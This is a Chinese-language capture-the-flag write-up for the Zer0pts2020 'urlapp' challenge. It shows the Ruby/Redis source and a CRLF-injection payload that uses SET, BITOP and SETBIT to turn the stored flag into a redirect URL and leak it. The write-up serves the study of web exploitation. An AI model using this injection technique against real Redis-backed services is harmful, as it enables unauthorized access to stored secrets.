[Zer0pts2020]urlapp
解题步骤
题目给了源码。竟然是ruby,直接寄了
require 'sinatra'
require 'uri'
require 'socket'
def connect()
sock = TCPSocket.open("redis", 6379)
if not ping(sock) then
exit
end
return sock
end
def query(sock, cmd)
sock.write(cmd + "\r\n")
end
def recv(sock)
data = sock.gets
if data == nil then
return nil
elsif data[0] == "+" then
return data[1..-1].strip
elsif data[0] == "$" then
if data == "$-1\r\n" then
return nil
end
return sock.gets.strip
end
return nil
end
def ping(sock)
query(sock, "ping")
return recv(sock) == "PONG"
end
def set(sock, key, value)
query(sock, "SET #{key} #{value}")
return recv(sock) == "OK"
end
def get(sock, key)
query(sock, "GET #{key}")
return recv(sock)
end
before do
sock = connect()
set(sock, "flag", File.read("flag.txt").strip)
end
get '/' do
if params.has_key?(:q) then
q = params[:q]
if not (q =~ /^[0-9a-f]{16}$/)
return
end
sock = connect()
url = get(sock, q)
redirect url
end
send_file 'index.html'
end
post '/' do
if not params.has_key?(:url) then
return
end
url = params[:url]
if not (url =~ URI.regexp) then
return
end
key = Random.urandom(8).unpack("H*")[0]
sock = connect()
set(sock, key, url)
"#{request.host}:#{request.port}/?q=#{key}"
end
当我们在输入框输入url之后,即post请求,会在redis里面存储key和value=url,然后返回q=key,然后get请求q=key之后,就会在redis中读取value的值。redis里面存有flag。由于没有禁用/r/n
,所以可以进行redis代码执行。在redis.conf里面禁用了一堆命令:
可以利用BITOP命令。将flag异或1。存入abababababababab(16位。不然GET不了)
flag和1异或,只是f和1异或而已,其他值没有改变。而f和1异或之后,变成了w,为了将flag带出,要将w变为?,将lag{×××}变成get参数,就能将其带出。需要将w的二进制中第2位=>0 3=>1 5=>1,因为从0开始计算,所以setbit要减1。
payload:
url=http://127.0.0.1/
SET tmp 1
BITOP XOR abababababababab flag tmp
setbit abababababababab 1 0
setbit abababababababab 2 1
setbit abababababababab 4 1
然后直接get?q=abababababababab